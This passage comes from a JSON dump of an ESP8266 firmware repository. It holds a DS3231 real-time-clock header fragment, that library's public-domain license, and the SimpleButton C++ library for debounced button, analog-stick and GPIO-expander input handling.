AlarmBits, bool& A1Dy, bool& A1h12, bool& A1PM); \n/* Retrieves everything you could want to know about alarm\n * one. \n * A1Dy true makes the alarm go on A1Day = Day of Week,\n * A1Dy false makes the alarm go on A1Day = Date of month.\n *\n * byte AlarmBits sets the behavior of the alarms:\n *\tDy\tA1M4\tA1M3\tA1M2\tA1M1\tRate\n *\tX\t1\t\t1\t\t1\t\t1\t\tOnce per second\n *\tX\t1\t\t1\t\t1\t\t0\t\tAlarm when seconds match\n *\tX\t1\t\t1\t\t0\t\t0\t\tAlarm when min, sec match\n *\tX\t1\t\t0\t\t0\t\t0\t\tAlarm when hour, min, sec match\n *\t0\t0\t\t0\t\t0\t\t0\t\tAlarm when date, h, m, s match\n *\t1\t0\t\t0\t\t0\t\t0\t\tAlarm when DoW, h, m, s match\n *\n *\tDy\tA2M4\tA2M3\tA2M2\tRate\n *\tX\t1\t\t1\t\t1\t\tOnce per minute (at seconds = 00)\n *\tX\t1\t\t1\t\t0\t\tAlarm when minutes match\n *\tX\t1\t\t0\t\t0\t\tAlarm when hours and minutes match\n *\t0\t0\t\t0\t\t0\t\tAlarm when date, hour, min match\n *\t1\t0\t\t0\t\t0\t\tAlarm when DoW, hour, min match\n */\n\t\tvoid getA2Time(byte& A2Day, byte& A2Hour, byte& A2Minute, byte& AlarmBits, bool& A2Dy, bool& A2h12, bool& A2PM); \n\t\t\t// Same as getA1Time();, but A2 only goes on seconds == 00.\n\t\tvoid setA1Time(byte A1Day, byte A1Hour, byte A1Minute, byte A1Second, byte AlarmBits, bool A1Dy, bool A1h12, bool A1PM); \n\t\t\t// Set the details for Alarm 1\n\t\tvoid setA2Time(byte A2Day, byte A2Hour, byte A2Minute, byte AlarmBits, bool A2Dy, bool A2h12, bool A2PM); \n\t\t\t// Set the details for Alarm 2\n\t\tvoid turnOnAlarm(byte Alarm); \n\t\t\t// Enables alarm 1 or 2 and the external interrupt pin.\n\t\t\t// If Alarm != 1, it assumes Alarm == 2.\n\t\tvoid turnOffAlarm(byte Alarm); \n\t\t\t// Disables alarm 1 or 2 (default is 2 if Alarm != 1);\n\t\t\t// and leaves the interrupt pin alone.\n\t\tbool checkAlarmEnabled(byte Alarm); \n\t\t\t// Returns T/F to indicate whether the requested alarm is\n\t\t\t// enabled. Defaults to 2 if Alarm != 1.\n\t\tbool checkIfAlarm(byte Alarm); \n\t\t\t// Checks whether the indicated alarm (1 or 2, 2 default);\n\t\t\t// has been activated.\n\n\t\t// Oscillator functions\n\n\t\tvoid enableOscillator(bool TF, bool battery, byte frequency); \n\t\t\t// turns oscillator on or off. True is on, false is off.\n\t\t\t// if battery is true, turns on even for battery-only operation,\n\t\t\t// otherwise turns off if Vcc is off.\n\t\t\t// frequency must be 0, 1, 2, or 3.\n\t\t\t// 0 = 1 Hz\n\t\t\t// 1 = 1.024 kHz\n\t\t\t// 2 = 4.096 kHz\n\t\t\t// 3 = 8.192 kHz (Default if frequency byte is out of range);\n\t\tvoid enable32kHz(bool TF); \n\t\t\t// Turns the 32kHz output pin on (true); or off (false).\n\t\tbool oscillatorCheck();;\n\t\t\t// Checks the status of the OSF (Oscillator Stop Flag);.\n\t\t\t// If this returns false, then the clock is probably not\n\t\t\t// giving you the correct time.\n\t\t\t// The OSF is cleared by function setSecond();.\n\n\tprivate:\n\n\t\tbyte decToBcd(byte val); \n\t\t\t// Convert normal decimal numbers to binary coded decimal\n\t\tbyte bcdToDec(byte val); \n\t\t\t// Convert binary coded decimal to normal decimal numbers\n\t\tbyte readControlByte(bool which); \n\t\t\t// Read selected control byte: (0); reads 0x0e, (1) reads 0x0f\n\t\tvoid writeControlByte(byte control, bool which); \n\t\t\t// Write the selected control byte. \n\t\t\t// which == false -> 0x0e, true->0x0f.\n\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/DS3231-1.0.3/LICENSE",
    "content": "This is free and unencumbered software released into the public domain.\n\nAnyone is free to copy, modify, publish, use, compile, sell, or\ndistribute this software, either in source code form or as a compiled\nbinary, for any purpose, commercial or non-commercial, and by any\nmeans.\n\nIn jurisdictions that recognize copyright laws, the author or authors\nof this software dedicate any and all copyright interest in the\nsoftware to the public domain. We make this dedication for the benefit\nof the public at large and to the detriment of our heirs and\nsuccessors. We intend this dedication to be an overt act of\nrelinquishment in perpetuity of all present and future rights to this\nsoftware under copyright law.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\nOTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\nARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n\nFor more information, please refer to <http://unlicense.org/>\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/AnalogStick.cpp",
    "content": "#include \"AnalogStick.h\"\n\nnamespace simplebutton {\n    AnalogStick::AnalogStick() {\n        setup(255, 255, 255);\n    }\n\n    AnalogStick::AnalogStick(uint8_t xPin, uint8_t yPin, uint8_t buttonPin) {\n        setup(xPin, yPin, buttonPin);\n    }\n\n    AnalogStick::~AnalogStick() {\n        if (this->up) delete this->up;\n        if (this->down) delete this->down;\n        if (this->left) delete this->left;\n        if (this->right) delete this->right;\n    }\n\n    void AnalogStick::setup(uint8_t xPin, uint8_t yPin, uint8_t buttonPin) {\n        this->xPin      = xPin;\n        this->yPin      = yPin;\n        this->buttonPin = buttonPin;\n\n        if (xPin < 255) pinMode(xPin, INPUT);\n        if (yPin < 255) pinMode(yPin, INPUT);\n        if (buttonPin < 255) pinMode(buttonPin, INPUT);\n\n        this->button = new ButtonPullup(buttonPin);\n        this->up     = new ButtonAnalog(yPin);\n        this->down   = new ButtonAnalog(yPin);\n        this->left   = new ButtonAnalog(xPin);\n        this->right  = new ButtonAnalog(xPin);\n\n        setLogic(1024);\n    }\n\n    void AnalogStick::update() {\n        button->update();\n        up->update();\n        down->update();\n        left->update();\n        right->update();\n\n        this->xValue = left->getState();\n        this->yValue = up->getState();\n    }\n\n    void AnalogStick::update(uint8_t xValue, uint8_t yValue, bool buttonPress) {\n        this->xValue = xValue;\n        this->yValue = yValue;\n\n        button->update(buttonPress);\n        up->update(yValue);\n        down->update(yValue);\n        left->update(xValue);\n        right->update(xValue);\n    }\n\n    uint8_t AnalogStick::getX() {\n        return xValue;\n    }\n\n    uint8_t AnalogStick::getY() {\n        return yValue;\n    }\n\n    void AnalogStick::setButtons(ButtonAnalog* up, ButtonAnalog* down, ButtonAnalog* left, ButtonAnalog* right,\n                                 Button* button) {\n        if (this->up) delete this->up;\n        if (this->down) delete this->down;\n        if (this->left) delete this->left;\n        if (this->right) delete this->right;\n\n        this->up    = up ? up : new ButtonAnalog();\n        this->down  = down ? down : new ButtonAnalog();\n        this->left  = left ? left : new ButtonAnalog();\n        this->right = right ? right : new ButtonAnalog();\n\n        this->button = button ? button : new Button();\n\n        setLogic(this->logic, this->tolerance);\n    }\n\n    void AnalogStick::setLogic(uint16_t logic) {\n        setLogic(logic, tolerance);\n    }\n\n    void AnalogStick::setLogic(uint16_t logic, uint8_t tolerance) {\n        this->logic     = logic;\n        this->tolerance = tolerance;\n\n        uint16_t difference = (double)logic * ((double)tolerance / double(100));\n\n        up->setBounds(0, difference);\n        down->setBounds(logic - difference, logic);\n        left->setBounds(0, difference);\n        right->setBounds(logic - difference, logic);\n    }\n\n    void AnalogStick::setUpdateInterval(uint32_t updateInterval) {\n        button->setUpdateInterval(updateInterval);\n        up->setUpdateInterval(updateInterval);\n        down->setUpdateInterval(updateInterval);\n        left->setUpdateInterval(updateInterval);\n        right->setUpdateInterval(updateInterval);\n    }\n\n    void AnalogStick::setDefaultMinPushTime(uint32_t defaultMinPushTime) {\n        button->setDefaultMinPushTime(defaultMinPushTime);\n        up->setDefaultMinPushTime(defaultMinPushTime);\n        down->setDefaultMinPushTime(defaultMinPushTime);\n        left->setDefaultMinPushTime(defaultMinPushTime);\n        right->setDefaultMinPushTime(defaultMinPushTime);\n    }\n\n    void AnalogStick::setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime) {\n        button->setDefaultMinReleaseTime(defaultMinReleaseTime);\n        up->setDefaultMinReleaseTime(defaultMinReleaseTime);\n        down->setDefaultMinReleaseTime(defaultMinReleaseTime);\n        left->setDefaultMinReleaseTime(defaultMinReleaseTime);\n        right->setDefaultMinReleaseTime(defaultMinReleaseTime);\n    }\n\n    void AnalogStick::setDefaultTimeSpan(uint32_t defaultTimeSpan) {\n        button->setDefaultTimeSpan(defaultTimeSpan);\n        up->setDefaultTimeSpan(defaultTimeSpan);\n        down->setDefaultTimeSpan(defaultTimeSpan);\n        left->setDefaultTimeSpan(defaultTimeSpan);\n        right->setDefaultTimeSpan(defaultTimeSpan);\n    }\n\n    void AnalogStick::setDefaultHoldTime(uint32_t defaultHoldInterval) {\n        button->setDefaultHoldTime(defaultHoldInterval);\n        up->setDefaultHoldTime(defaultHoldInterval);\n        down->setDefaultHoldTime(defaultHoldInterval);\n        left->setDefaultHoldTime(defaultHoldInterval);\n        right->setDefaultHoldTime(defaultHoldInterval);\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/AnalogStick.h",
    "content": "#ifndef SimpleButton_AnalogStick_h\n#define SimpleButton_AnalogStick_h\n\n#include \"ButtonPullup.h\"\n#include \"ButtonAnalog.h\"\n\nnamespace simplebutton {\n    class AnalogStick {\n        public:\n            Button* button      = NULL;\n            ButtonAnalog* up    = NULL;\n            ButtonAnalog* down  = NULL;\n            ButtonAnalog* left  = NULL;\n            ButtonAnalog* right = NULL;\n\n            AnalogStick();\n            AnalogStick(uint8_t xPin, uint8_t yPin, uint8_t buttonPin);\n\n            ~AnalogStick();\n\n            void setup(uint8_t xPin, uint8_t yPin, uint8_t buttonPin);\n\n            void update();\n            void update(uint8_t xValue, uint8_t yValue, bool buttonPress);\n\n            uint8_t getX();\n            uint8_t getY();\n\n            void setButtons(ButtonAnalog* up, ButtonAnalog* down, ButtonAnalog* left, ButtonAnalog* right,\n                            Button* button);\n            void setLogic(uint16_t logic);\n            void setLogic(uint16_t logic, uint8_t tolerance);\n\n            void setUpdateInterval(uint32_t updateInterval);\n            void setDefaultMinPushTime(uint32_t defaultMinPushTime);\n            void setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime);\n            void setDefaultTimeSpan(uint32_t defaultTimeSpan);\n            void setDefaultHoldTime(uint32_t defaultHoldInterval);\n\n        private:\n            uint16_t logic    = 1024;\n            uint8_t tolerance = 25; // percentage\n\n            uint8_t xValue = 0;\n            uint8_t yValue = 0;\n\n            uint8_t xPin      = 0;\n            uint8_t yPin      = 0;\n            uint8_t buttonPin = 0;\n    };\n}\n\n#endif // ifndef SimpleButton_AnalogStick_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/Button.cpp",
    "content": "#include \"../SimpleButton.h\"\n\nnamespace simplebutton {\n    Button::Button() {\n        setup(255, false);\n    }\n\n    Button::Button(uint8_t pin) {\n        setup(pin, false);\n    }\n\n    Button::Button(uint8_t pin, bool inverted) {\n        setup(pin, inverted);\n    }\n\n    Button::~Button() {}\n\n    void Button::setup(uint8_t pin, bool inverted) {\n        this->button_pin      = pin;\n        this->button_inverted = inverted;\n        enable();\n    }\n\n    void Button::enable() {\n        button_enabled = true;\n\n        if ((button_pin < 255) && !button_setup) {\n            pinMode(button_pin, INPUT);\n            button_setup = true;\n        }\n    }\n\n    void Button::disable() {\n        button_enabled = false;\n    }\n\n    void Button::reset() {\n        pushedFlag   = false;\n        releasedFlag = false;\n        holdFlag     = false;\n    }\n\n    void Button::push() {\n        if (!state) {\n            state = true;\n\n            prevPushTime    = pushTime;\n            prevReleaseTime = releaseTime;\n            pushedFlag      = true;\n\n            pushTime = millis();\n            holdTime = millis();\n            holdFlag = false;\n        }\n    }\n\n    void Button::release() {\n        if (state) {\n            state        = false;\n            releasedFlag = true;\n            releaseTime  = millis();\n        }\n    }\n\n    void Button::click() {\n        click(defaultMinPushTime);\n    }\n\n    void Button::click(uint32_t time) {\n        push();\n        pushTime = millis() - time - defaultMinReleaseTime;\n        release();\n        releaseTime = millis() - defaultMinReleaseTime;\n\n        updateEvents();\n    }\n\n    int Button::read() {\n        bool currentState = false;\n\n        if (button_enabled && button_setup) {\n            currentState = digitalRead(button_pin);\n\n            if (button_inverted) currentState = !currentState;\n        }\n\n        return (int)currentState;\n    }\n\n    void Button::update() {\n        if (millis() - updateTime >= updateInterval) {\n            updateEvents();\n            if (button_enabled && button_setup) update(read());\n        }\n    }\n\n    void Button::update(int state) {\n        // update time\n        updateTime = millis();\n\n        // check events\n        updateEvents();\n\n        // update state\n        if (state > 0) push();\n        else release();\n    }\n\n    void Button::updateEvents() {\n        Event* e = this->events;\n\n        while (e != NULL) {\n            switch (e->getMode()) {\n                case e->MODE::PUSHED:\n                    if (this->pushed()) e->run();\n                    break;\n\n                case e->MODE::RELEASED:\n                    if (this->released()) e->run();\n                    break;\n\n                case e->MODE::CLICKED:\n                    if (this->clicked(e->getMinPushTime(), e->getMinReleaseTime())) e->run();\n                    break;\n\n                case e->MODE::DOUBLECLICKED:\n                    if (this->doubleClicked(e->getMinPushTime(), e->getMinReleaseTime(), e->getTimeSpan())) e->run();\n                    break;\n\n                case e->MODE::HOLDING:\n                    if (this->holding(e->getInterval())) e->run();\n                    break;\n            }\n            e = e->next;\n        }\n    }\n\n    bool Button::isInverted() {\n        return button_inverted;\n    }\n\n    bool Button::isEnabled() {\n        return button_enabled;\n    }\n\n    bool Button::isSetup() {\n        return button_setup;\n    }\n\n    bool Button::getState() {\n        return state;\n    }\n\n    int Button::getClicks() {\n        return (int)clicks;\n    }\n\n    int Button::getPushTime() {\n        return (int)(millis() - pushTime);\n    }\n\n    bool Button::pushed() {\n        if (pushedFlag) {\n            pushedFlag = false;\n            return true;\n        }\n        return false;\n    }\n\n    bool Button::released() {\n        if (releasedFlag && (pushTime < releaseTime)) {\n            releasedFlag = false;\n            return true;\n        }\n        return false;\n    }\n\n    bool Button::clicked() {\n        return clicked(defaultMinPushTime);\n    }\n\n    bool Button::clicked(uint32_t minPushTime) {\n        return clicked(minPushTime, defaultMinReleaseTime);\n    }\n\n    bool Button::clicked(uint32_t minPushTime, uint32_t minReleaseTime) {\n        bool notHolding     = !holdFlag;\n        bool minTime        = millis() - pushTime >= minPushTime;\n        bool releaseTimeout = millis() - releaseTime >= minReleaseTime;\n\n        if (notHolding && minTime && releaseTimeout) {\n            if (released()) {\n                clicks++;\n                return true;\n            }\n        }\n\n        return false;\n    }\n\n    bool Button::doubleClicked() {\n        return doubleClicked(defaultMinPushTime);\n    }\n\n    bool Button::doubleClicked(uint32_t minPushTime) {\n        return doubleClicked(minPushTime, defaultTimeSpan);\n    }\n\n    bool Button::doubleClicked(uint32_t minPushTime, uint32_t timeSpan) {\n        return doubleClicked(minPushTime, defaultMinReleaseTime, timeSpan);\n    }\n\n    bool Button::doubleClicked(uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan) {\n        bool wasPrevClicked = prevReleaseTime - prevPushTime >= minPushTime;\n        bool inTimeSpan     = millis() - prevPushTime <= timeSpan;\n        bool releaseTimeout = millis() - prevReleaseTime >= minReleaseTime;\n\n        if (wasPrevClicked && inTimeSpan && releaseTimeout) {\n            if (clicked(minPushTime)) {\n                pushTime = 0;\n                return true;\n            }\n        }\n\n        return false;\n    }\n\n    bool Button::holding() {\n        return holding(defaultHoldInterval);\n    }\n\n    bool Button::holding(uint32_t interval) {\n        if (getState() && (millis() - holdTime >= interval)) {\n            holdTime = millis();\n            holdFlag = true;\n            return true;\n        }\n        return false;\n    }\n\n    void Button::setUpdateInterval(uint32_t updateInterval) {\n        this->updateInterval = updateInterval;\n    }\n\n    void Button::setDefaultMinPushTime(uint32_t defaultMinPushTime) {\n        this->defaultMinPushTime = defaultMinPushTime;\n    }\n\n    void Button::setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime) {\n        this->defaultMinReleaseTime = defaultMinReleaseTime;\n    }\n\n    void Button::setDefaultTimeSpan(uint32_t defaultTimeSpan) {\n        this->defaultTimeSpan = defaultTimeSpan;\n    }\n\n    void Button::setDefaultHoldTime(uint32_t defaultHoldInterval) {\n        this->defaultHoldInterval = defaultHoldInterval;\n    }\n\n    void Button::setOnPushed(ButtonEventFunction) {\n        this->addEvent(new PushEvent(fnct));\n    }\n\n    void Button::setOnReleased(ButtonEventFunction) {\n        this->addEvent(new ReleaseEvent(fnct));\n    }\n\n    void Button::setOnClicked(ButtonEventFunction) {\n        setOnClicked(fnct, defaultMinPushTime, defaultMinReleaseTime);\n    }\n\n    void Button::setOnClicked(ButtonEventFunction, uint32_t minPushTime) {\n        setOnClicked(fnct, minPushTime, defaultMinReleaseTime);\n    }\n\n    void Button::setOnClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime) {\n        this->addEvent(new ClickEvent(fnct, minPushTime, minReleaseTime));\n    }\n\n    void Button::setOnDoubleClicked(ButtonEventFunction) {\n        setOnDoubleClicked(fnct, defaultMinPushTime, defaultMinReleaseTime, defaultTimeSpan);\n    }\n\n    void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime) {\n        setOnDoubleClicked(fnct, minPushTime, defaultMinReleaseTime, defaultTimeSpan);\n    }\n\n    void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t timeSpan) {\n        setOnDoubleClicked(fnct, minPushTime, defaultMinReleaseTime, timeSpan);\n    }\n\n    void Button::setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan) {\n        this->addEvent(new DoubleclickEvent(fnct, minPushTime, minReleaseTime, timeSpan));\n    }\n\n    void Button::setOnHolding(ButtonEventFunction) {\n        setOnHolding(fnct, defaultHoldInterval);\n    }\n\n    void Button::setOnHolding(ButtonEventFunction, uint32_t interval) {\n        this->addEvent(new HoldEvent(fnct, interval));\n    }\n\n    void Button::clearEvents() {\n        delete events;\n        events = NULL;\n    }\n\n    void Button::addEvent(Event* e) {\n        if (events == NULL) events = e;\n        else {\n            Event* tmp = events;\n\n            while (tmp->next != NULL) tmp = tmp->next;\n            tmp->next = e;\n        }\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/Button.h",
    "content": "#ifndef SimpleButton_Button_h\n#define SimpleButton_Button_h\n\n#include \"Arduino.h\"\n#include \"../Events/Event.h\"\n#include \"../Events/PushEvent.h\"\n#include \"../Events/ReleaseEvent.h\"\n#include \"../Events/ClickEvent.h\"\n#include \"../Events/DoubleclickEvent.h\"\n#include \"../Events/HoldEvent.h\"\n\nnamespace simplebutton {\n    class Button {\n        public:\n            Button();\n            Button(uint8_t pin);\n            Button(uint8_t pin, bool inverted);\n\n            virtual ~Button();\n\n            void setup(uint8_t pin, bool inverted);\n\n            virtual void enable();\n            virtual void disable();\n            virtual void reset();\n\n            virtual void push();\n            virtual void release();\n\n            virtual void click();\n            virtual void click(uint32_t time);\n\n            virtual int read();\n            virtual void update();\n            virtual void update(int state);\n            virtual void updateEvents();\n\n            virtual bool isInverted();\n            virtual bool isEnabled();\n            virtual bool isSetup();\n\n            virtual bool getState();\n            virtual int getClicks();\n            virtual int getPushTime();\n\n            virtual bool pushed();\n            virtual bool released();\n            virtual bool clicked();\n            virtual bool clicked(uint32_t minPushTime);\n            virtual bool clicked(uint32_t minPushTime, uint32_t minReleaseTime);\n            virtual bool doubleClicked();\n            virtual bool doubleClicked(uint32_t minPushTime);\n            virtual bool doubleClicked(uint32_t minPushTime, uint32_t timeSpan);\n            virtual bool doubleClicked(uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan);\n            virtual bool holding();\n            virtual bool holding(uint32_t interval);\n\n            virtual void setUpdateInterval(uint32_t updateInterval);\n            virtual void setDefaultMinPushTime(uint32_t defaultMinPushTime);\n            virtual void setDefaultMinReleaseTime(uint32_t defaultMinReleaseTime);\n            virtual void setDefaultTimeSpan(uint32_t defaultTimeSpan);\n            virtual void setDefaultHoldTime(uint32_t defaultHoldInterval);\n\n            virtual void setOnPushed(ButtonEventFunction);\n            virtual void setOnReleased(ButtonEventFunction);\n            virtual void setOnClicked(ButtonEventFunction);\n            virtual void setOnClicked(ButtonEventFunction, uint32_t minPushTime);\n            virtual void setOnClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime);\n            virtual void setOnDoubleClicked(ButtonEventFunction);\n            virtual void setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime);\n            virtual void setOnDoubleClicked(ButtonEventFunction, uint32_t minPushTime, uint32_t timeSpan);\n            virtual void setOnDoubleClicked(\n                ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan);\n            virtual void setOnHolding(ButtonEventFunction);\n            virtual void setOnHolding(ButtonEventFunction, uint32_t interval);\n\n            virtual void clearEvents();\n\n        protected:\n            Event* events = NULL;\n\n            bool button_inverted = false;\n            bool button_setup    = false;\n            bool button_enabled  = false;\n            bool state           = false;\n            bool pushedFlag      = false;\n            bool releasedFlag    = false;\n            bool holdFlag        = false;\n\n            uint8_t button_pin = 255;\n\n            uint16_t clicks = 0;\n\n            uint32_t pushTime        = 0;\n            uint32_t releaseTime     = 0;\n            uint32_t prevPushTime    = 0;\n            uint32_t prevReleaseTime = 0;\n            uint32_t holdTime        = 0;\n            uint32_t updateTime      = 0;\n\n            uint32_t updateInterval        = 5;\n            uint32_t defaultMinPushTime    = 40;\n            uint32_t defaultMinReleaseTime = 40;\n            uint32_t defaultTimeSpan       = 500;\n            uint32_t defaultHoldInterval   = 500;\n\n            void addEvent(Event* e);\n    };\n}\n\n#endif // ifndef SimpleButton_Button_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonAnalog.cpp",
    "content": "#include \"ButtonAnalog.h\"\n\nnamespace simplebutton {\n    ButtonAnalog::ButtonAnalog() {\n        setup(255, 0, 1024);\n    }\n\n    ButtonAnalog::ButtonAnalog(uint8_t pin) {\n        setup(pin, 0, 1024);\n    }\n\n    ButtonAnalog::ButtonAnalog(uint16_t minValue, uint16_t maxValue) {\n        setup(255, minValue, maxValue);\n    }\n\n    ButtonAnalog::ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue) {\n        setup(pin, minValue, maxValue);\n    }\n\n    ButtonAnalog::~ButtonAnalog() {}\n\n    void ButtonAnalog::setup(uint8_t pin, uint16_t minValue, uint16_t maxValue) {\n        this->button_pin = pin;\n        this->minValue   = minValue;\n        this->maxValue   = maxValue;\n        enable();\n    }\n\n    int ButtonAnalog::read() {\n        int currentState = 0;\n\n        if (button_enabled && button_setup) {\n            currentState = analogRead(button_pin);\n        }\n\n        return currentState;\n    }\n\n    void ButtonAnalog::update() {\n        if (millis() - updateTime >= updateInterval) {\n            Button::updateEvents();\n            if (button_enabled && button_setup) update(read());\n        }\n    }\n\n    void ButtonAnalog::update(int state) {\n        uint16_t newState = state;\n\n        updateTime = millis();\n\n        value = newState;\n\n        if ((newState >= minValue) && (newState <= maxValue)) push();\n        else release();\n    }\n\n    void ButtonAnalog::setMin(uint16_t minValue) {\n        this->minValue = minValue;\n    }\n\n    void ButtonAnalog::setMax(uint16_t maxValue) {\n        this->maxValue = maxValue;\n    }\n\n    void ButtonAnalog::setBounds(uint16_t minValue, uint16_t maxValue) {\n        setMin(minValue);\n        setMax(maxValue);\n    }\n\n    void ButtonAnalog::setValue(int value) {\n        this->value = (uint16_t)value;\n    }\n\n    uint16_t ButtonAnalog::getValue() {\n        return value;\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonAnalog.h",
    "content": "#ifndef SimpleButton_ButtonAnalog_h\n#define SimpleButton_ButtonAnalog_h\n\n#include \"Button.h\"\n\n\nnamespace simplebutton {\n    class ButtonAnalog : public Button {\n        public:\n            ButtonAnalog();\n            ButtonAnalog(uint8_t pin);\n            ButtonAnalog(uint16_t minValue, uint16_t maxValue);\n            ButtonAnalog(uint8_t pin, uint16_t minValue, uint16_t maxValue);\n\n            ~ButtonAnalog();\n\n            void setup(uint8_t pin, uint16_t minValue, uint16_t maxValue);\n\n            int read();\n\n            void update();\n            void update(int state);\n\n            void setMin(uint16_t minValue);\n            void setMax(uint16_t maxValue);\n            void setBounds(uint16_t minValue, uint16_t maxValue);\n\n            uint16_t getValue();\n            void setValue(int value);\n\n        private:\n            uint16_t minValue = 0;\n            uint16_t maxValue = 1024;\n            uint16_t value    = 0;\n    };\n}\n#endif // ifndef SimpleButton_ButtonAnalog_h\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp",
    "content": "#include \"ButtonGPIOExpander.h\"\n\nnamespace simplebutton {\n    ButtonGPIOExpander::ButtonGPIOExpander() {\n        setup(NULL, 255, false);\n    }\n\n    ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin) {\n        setup(pcf, pin, false);\n    }\n\n    ButtonGPIOExpander::ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted) {\n        setup(pcf, pin, inverted);\n    }\n\n    ButtonGPIOExpander::~ButtonGPIOExpander() {}\n\n    void ButtonGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin, bool inverted) {\n        this->pcf             = pcf;\n        this->button_pin      = pin;\n        this->button_inverted = inverted;\n        enable();\n    }\n\n    void ButtonGPIOExpander::enable() {\n        button_enabled = true;\n\n        if (pcf) {\n            pcf->write(button_pin, 0);\n            if (pcf->connected()) button_setup = true;\n        }\n    }\n\n    int ButtonGPIOExpander::read() {\n        bool currentState = false;\n\n        if (button_enabled && button_setup) {\n            currentState = pcf->read(button_pin) > 0;\n\n            if (button_inverted) currentState = !currentState;\n        }\n\n        return (int)currentState;\n    }\n\n    void ButtonGPIOExpander::update() {\n        if (button_enabled && button_setup) {\n            update(read());\n        }\n    }\n\n    void ButtonGPIOExpander::update(int state) {\n        Button::update(state);\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonGPIOExpander.h",
    "content": "#ifndef SimpleButton_ButtonGPIOExpander_h\n#define SimpleButton_ButtonGPIOExpander_h\n\n#include \"Button.h\"\n#include \"../libs/GPIOExpander.h\"\n#include \"../libs/PCF8574.h\"\n#include \"../libs/PCF8575.h\"\n#include \"../libs/MCP23017.h\"\n\nnamespace simplebutton {\n    class ButtonGPIOExpander : public Button {\n        public:\n            ButtonGPIOExpander();\n            ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin);\n            ButtonGPIOExpander(GPIOExpander* pcf, uint8_t pin, bool inverted);\n\n            virtual ~ButtonGPIOExpander();\n\n            void setup(GPIOExpander* pcf, uint8_t pin, bool inverted);\n\n            virtual void enable();\n\n            virtual int read();\n            virtual void update();\n            virtual void update(int state);\n\n        protected:\n            GPIOExpander* pcf = NULL;\n    };\n}\n\n#endif // ifndef SimpleButton_ButtonGPIOExpander_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullup.cpp",
    "content": "#include \"ButtonPullup.h\"\n\nnamespace simplebutton {\n    ButtonPullup::ButtonPullup() {\n        setup(255);\n    }\n\n    ButtonPullup::ButtonPullup(uint8_t pin) {\n        setup(pin);\n    }\n\n    ButtonPullup::~ButtonPullup() {}\n\n    void ButtonPullup::setup(uint8_t pin) {\n        this->button_pin      = pin;\n        this->button_inverted = true;\n        enable();\n    }\n\n    void ButtonPullup::enable() {\n        button_enabled = true;\n\n        if ((button_pin < 255) && !button_setup) {\n            pinMode(button_pin, INPUT_PULLUP);\n            button_setup = true;\n        }\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullup.h",
    "content": "#ifndef SimpleButton_ButtonPullup_h\n#define SimpleButton_ButtonPullup_h\n\n#include \"Button.h\"\n\nnamespace simplebutton {\n    class ButtonPullup : public Button {\n        public:\n            ButtonPullup();\n            ButtonPullup(uint8_t pin);\n\n            ~ButtonPullup();\n\n            void setup(uint8_t pin);\n\n            void enable();\n    };\n}\n\n#endif // ifndef SimpleButton_ButtonPullup_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.cpp",
    "content": "#include \"ButtonPullupGPIOExpander.h\"\n\nnamespace simplebutton {\n    ButtonPullupGPIOExpander::ButtonPullupGPIOExpander() {\n        setup(NULL, 255);\n    }\n\n    ButtonPullupGPIOExpander::ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin) {\n        setup(pcf, pin);\n    }\n\n    ButtonPullupGPIOExpander::~ButtonPullupGPIOExpander() {}\n\n    void ButtonPullupGPIOExpander::setup(GPIOExpander* pcf, uint8_t pin) {\n        this->pcf             = pcf;\n        this->button_pin      = pin;\n        this->button_inverted = true;\n        enable();\n    }\n\n    void ButtonPullupGPIOExpander::enable() {\n        button_enabled = true;\n\n        if (pcf) {\n            pcf->write(button_pin, 1);\n            if (pcf->connected()) button_setup = true;\n        }\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.h",
